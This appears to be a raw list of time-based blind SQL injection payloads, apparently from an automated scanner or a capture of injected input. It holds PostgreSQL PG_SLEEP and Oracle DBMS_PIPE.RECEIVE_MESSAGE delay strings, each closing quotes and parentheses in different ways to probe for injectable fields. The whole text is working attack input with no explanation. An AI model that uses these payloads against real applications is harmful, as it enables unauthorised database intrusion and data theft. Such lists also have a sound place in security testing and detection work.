555-1 OR 981=(SELECT 981 FROM PG_SLEEP(15))--

555-1) OR 732=(SELECT 732 FROM PG_SLEEP(15))--

555-1)) OR 295=(SELECT 295 FROM PG_SLEEP(15))--

555nt0DKX9U' OR 749=(SELECT 749 FROM PG_SLEEP(15))--

555SQTeWufP') OR 578=(SELECT 578 FROM PG_SLEEP(15))--

555xFNnAB3i')) OR 331=(SELECT 331 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555